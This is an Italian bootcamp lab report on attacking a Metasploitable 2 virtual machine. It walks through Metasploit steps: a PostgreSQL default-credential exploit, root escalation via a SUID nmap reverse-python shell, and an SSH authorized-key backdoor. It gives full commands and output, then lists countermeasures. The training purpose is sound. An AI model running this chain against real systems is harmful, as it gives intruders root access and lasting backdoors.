

Report PostgreSQL Exploit, PrivEsc e Backdoor

S7L3

Macchina	Ruolo	IP	Servizi
Kali Linux	Attaccante	192.168.5.17	Metasploit Framework
Metasploitable 2	Target	192.168.5.149	PostgreSQL/5432, SSH/22, FTP/21...

1. Obiettivo

L'esercitazione si articola in tre fasi principali: sfruttare una vulnerabilità nel servizio **PostgreSQL 8.3** per ottenere una sessione Meterpreter, eseguire una **privilege escalation** da utente limitato a root utilizzando esclusivamente i moduli di msfconsole, e infine installare una **backdoor persistente** dimostrando l'accesso futuro senza necessità di ripetere l'exploit.

Nota: Tutte le tecniche sono state applicate esclusivamente in ambiente UTM locale controllato. Nessun sistema esterno è stato coinvolto. L'esercitazione è svolta a fini didattici nell'ambito del corso Epicode Cybersecurity Bootcamp.

2. Configurazione dell'Ambiente

Rete	192.168.5.0/24
Gateway	192.168.5.1
Attaccante	Kali Linux - 192.168.5.17
Target	Metasploitable 2 - 192.168.5.149
Hypervisor	UTM su macOS (Apple Silicon)
Tool principale	Metasploit Framework v6.4.116-dev

3. Fase 1 Exploit PostgreSQL

Step 1 Reconnaissance con Nmap

Eseguita una scansione Nmap con rilevamento versioni per identificare i servizi attivi sul target. PostgreSQL 8.3 è stato rilevato sulla porta **5432**.

```
sudo nmap -sV 192.168.5.149

5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
```

Step 2 Exploit postgres_payload e sessione Meterpreter

Caricato il modulo `exploit/linux/postgres/postgres_payload` che sfrutta la possibilità di PostgreSQL di eseguire librerie condivise tramite la funzione **COPY TO/FROM PROGRAM**. Le credenziali di default **postgres/postgres** hanno permesso l'accesso diretto al database.

```
msf > use exploit/linux/postgres/postgres_payload
msf exploit(linux/postgres/postgres_payload) > set RHOSTS 192.168.5.149
msf exploit(linux/postgres/postgres_payload) > set LHOST 192.168.5.17
msf exploit(linux/postgres/postgres_payload) > exploit

[*] PostgreSQL 8.3.1 on i486-pc-linux-gnu
[*] Uploaded as /tmp/ONPXfsiw.so
[*] Meterpreter session 1 opened
(192.168.5.17:4444 -> 192.168.5.149:36278)

meterpreter > getuid
Server username: postgres
```

Sessione Meterpreter aperta come utente postgres (utente limitato)

4. Fase 2 Privilege Escalation a Root

Step 3 Identificazione vulnerabilità locali

Eseguito il modulo `post/multi/recon/local_exploit_suggester` sulla sessione Meterpreter attiva. Il modulo ha identificato **9 potenziali vulnerabilità locali** sfruttabili per la privilege escalation.

```
meterpreter > run post/multi/recon/local_exploit_suggester

1 exploit/linux/local/glibc_ld_audit_dso_load_priv_esc Yes
2 exploit/linux/local/glibc_origin_expansion_priv_esc Yes
3 exploit/linux/local/netfilter_priv_esc_ipv4 Yes
4 exploit/linux/local/ptrace_sudo_token_priv_esc Yes
5 exploit/linux/local/su_login Yes
6 exploit/linux/persistence/autostart Yes
7 exploit/multi/persistence/cron Yes
8 exploit/multi/persistence/ssh_key Yes
9 exploit/unix/local/setuid_nmap Yes
```

Step 4 Test exploit locali - Riepilogo tentativi

Testati sistematicamente i moduli suggeriti. La maggior parte ha fallito a causa delle restrizioni di mount su **/tmp** (`noexec`, `nosuid`). Il modulo vincente è stato **setuid_nmap** con payload `cmd/unix/reverse_python`.

#	Modulo	Esito	Note
1	exploit/linux/local/glibc_ld_audit_dso_load_priv_esc	Fallito	/tmp noexec
2	exploit/linux/local/glibc_origin_expansion_priv_esc	Fallito	/tmp noexec

3	exploit/linux/local/netfilter_priv_esc_ipv4	Fallito	Dipendenze mancanti
4	exploit/linux/local/ptrace_sudo_token_priv_esc	Fallito	/tmp nosuid
5	exploit/linux/local/su_login	Fallito	/tmp noexec
6	exploit/unix/local/setuid_nmap + reverse_python	ROOT!	

```
msf > use exploit/unix/local/setuid_nmap
msf exploit(unix/local/setuid_nmap) > set SESSION 1
msf exploit(unix/local/setuid_nmap) > set payload cmd/unix/reverse_python
msf exploit(unix/local/setuid_nmap) > set LHOST 192.168.5.17
msf exploit(unix/local/setuid_nmap) > exploit

[*] Command shell session 3 opened
(192.168.5.17:4444 -> 192.168.5.149:48783)

whoami
root
```

Privilege escalation completata: da postgres a root tramite nmap SUID bit.

5. Fase 3 (Bonus) - Installazione Backdoor Persistente

Step 5 Upgrade shell root a Meterpreter

La shell root ottenuta tramite setuid_nmap è stata promossa a sessione Meterpreter tramite il modulo post/multi/manage/shell_to_meterpreter, ottenendo una sessione Meterpreter con privilegi root (session 4).

```
msf > use post/multi/manage/shell_to_meterpreter
msf post(multi/manage/shell_to_meterpreter) > set SESSION 3
msf post(multi/manage/shell_to_meterpreter) > set LHOST 192.168.5.17
msf post(multi/manage/shell_to_meterpreter) > exploit

[*] Meterpreter session 4 opened
(192.168.5.17:4433 -> 192.168.5.149:33624)

Id Type Information
1 meterpreter x86 postgres @ metasploitable
3 shell cmd/unix (root shell)
4 meterpreter x86 root @ metasploitable <-- sessione attiva
```

Step 6 Installazione backdoor SSH con ssh_key persistence

Utilizzato il modulo exploit/multi/persistence/ssh_key dalla sessione Meterpreter root per installare una chiave SSH autorizzata su tutti gli utenti del sistema, incluso root.

```

meterpreter > use exploit/multi/persistence/ssh_key
msf exploit(multi/persistence/ssh_key) > set SESSION 4
msf exploit(multi/persistence/ssh_key) > exploit

[*] Authorized Keys File: .ssh/authorized_keys
[+] Adding key to /home/msfadmin/.ssh/authorized_keys
[+] Adding key to /root/.ssh/authorized_keys
[+] Persistence installed!

Chiave privata salvata in:
/home/kali/.msf4/loot/20260520105852_default_192.168.5.149_id_rsa_518354.txt

```

Step 7 Verifica accesso backdoor da nuovo terminale

Aperto un nuovo terminale Kali completamente indipendente da msfconsole. Corretti i permessi della chiave privata e verificato l'accesso SSH diretto come root senza necessità di password o di ripetere l'exploit.

```

chmod 600 /home/kali/.msf4/loot/20260520105852_default_192.168.5.149_id_rsa_518354.txt

ssh -i /home/kali/.msf4/loot/20260520105852_default_192.168.5.149_id_rsa_518354.txt \
-o HostKeyAlgorithms=ssh-rsa \
-o PubkeyAcceptedKeyTypes=ssh-rsa \
root@192.168.5.149

Last login: Wed May 20 09:35:45 2026
Linux metasploitable 2.6.24-16-server

root@metasploitable:~#

```

Backdoor verificata: accesso root diretto via SSH con chiave, senza password e senza msfconsole.

6. Flusso Completo dell'Esercitazione

#	Fase	Azione	Risultato
1	Reconnaissance	nmap -sV 192.168.5.149	PostgreSQL 8.3 su porta 5432
2	Exploitation	postgres_payload	Meterpreter session 1 (postgres)
3	PrivEsc Recon	local_exploit_suggester	9 vulnerabilità locali trovate
4	PrivEsc	setuid_nmap + reverse_python	Shell root - session 3
5	Upgrade	shell_to_meterpreter	Meterpreter root - session 4
6	Persistence	ssh_key persistence	Backdoor SSH installata su root
7	Verifica	ssh -i chiave root@target	root@metasploitable confermato

7. Conclusioni

L'esercitazione ha dimostrato una catena di attacco completa: dall'accesso iniziale tramite credenziali PostgreSQL di default, alla privilege escalation sfruttando il bit SUID su nmap, fino all'installazione di una backdoor persistente via SSH. Il caso evidenzia come una singola misconfiguration (credenziali di default + SUID su nmap) possa portare al compromesso totale e persistente di un sistema.

Vulnerabilità	Gravità	Contromisura
Credenziali PostgreSQL di default (postgres/postgres)	Critica	Cambiare password al primo avvio, limitare accesso remoto
nmap con bit SUID impostato	Critica	Rimuovere SUID da binari non necessari: <code>chmod -s /usr/bin/nmap</code>
/tmp con noexec ma SUID bypassabile via nmap	Alta	Audit periodico dei binari SUID/SGID con: <code>find / -perm -4000</code>
SSH con algoritmi legacy (ssh-rsa)	Media	Aggiornare configurazione SSH, disabilitare algoritmi deprecati
OS obsoleto (Ubuntu 8.04 - kernel 2.6.24)	Alta	Aggiornare il sistema operativo e applicare patch di sicurezza

DISCLAIMER: Tutte le tecniche descritte sono state applicate esclusivamente in ambiente virtuale locale a fini didattici. L'utilizzo non autorizzato su sistemi reali è illegale ai sensi del Codice Penale italiano (art. 615-ter, 635-bis, 617-quater).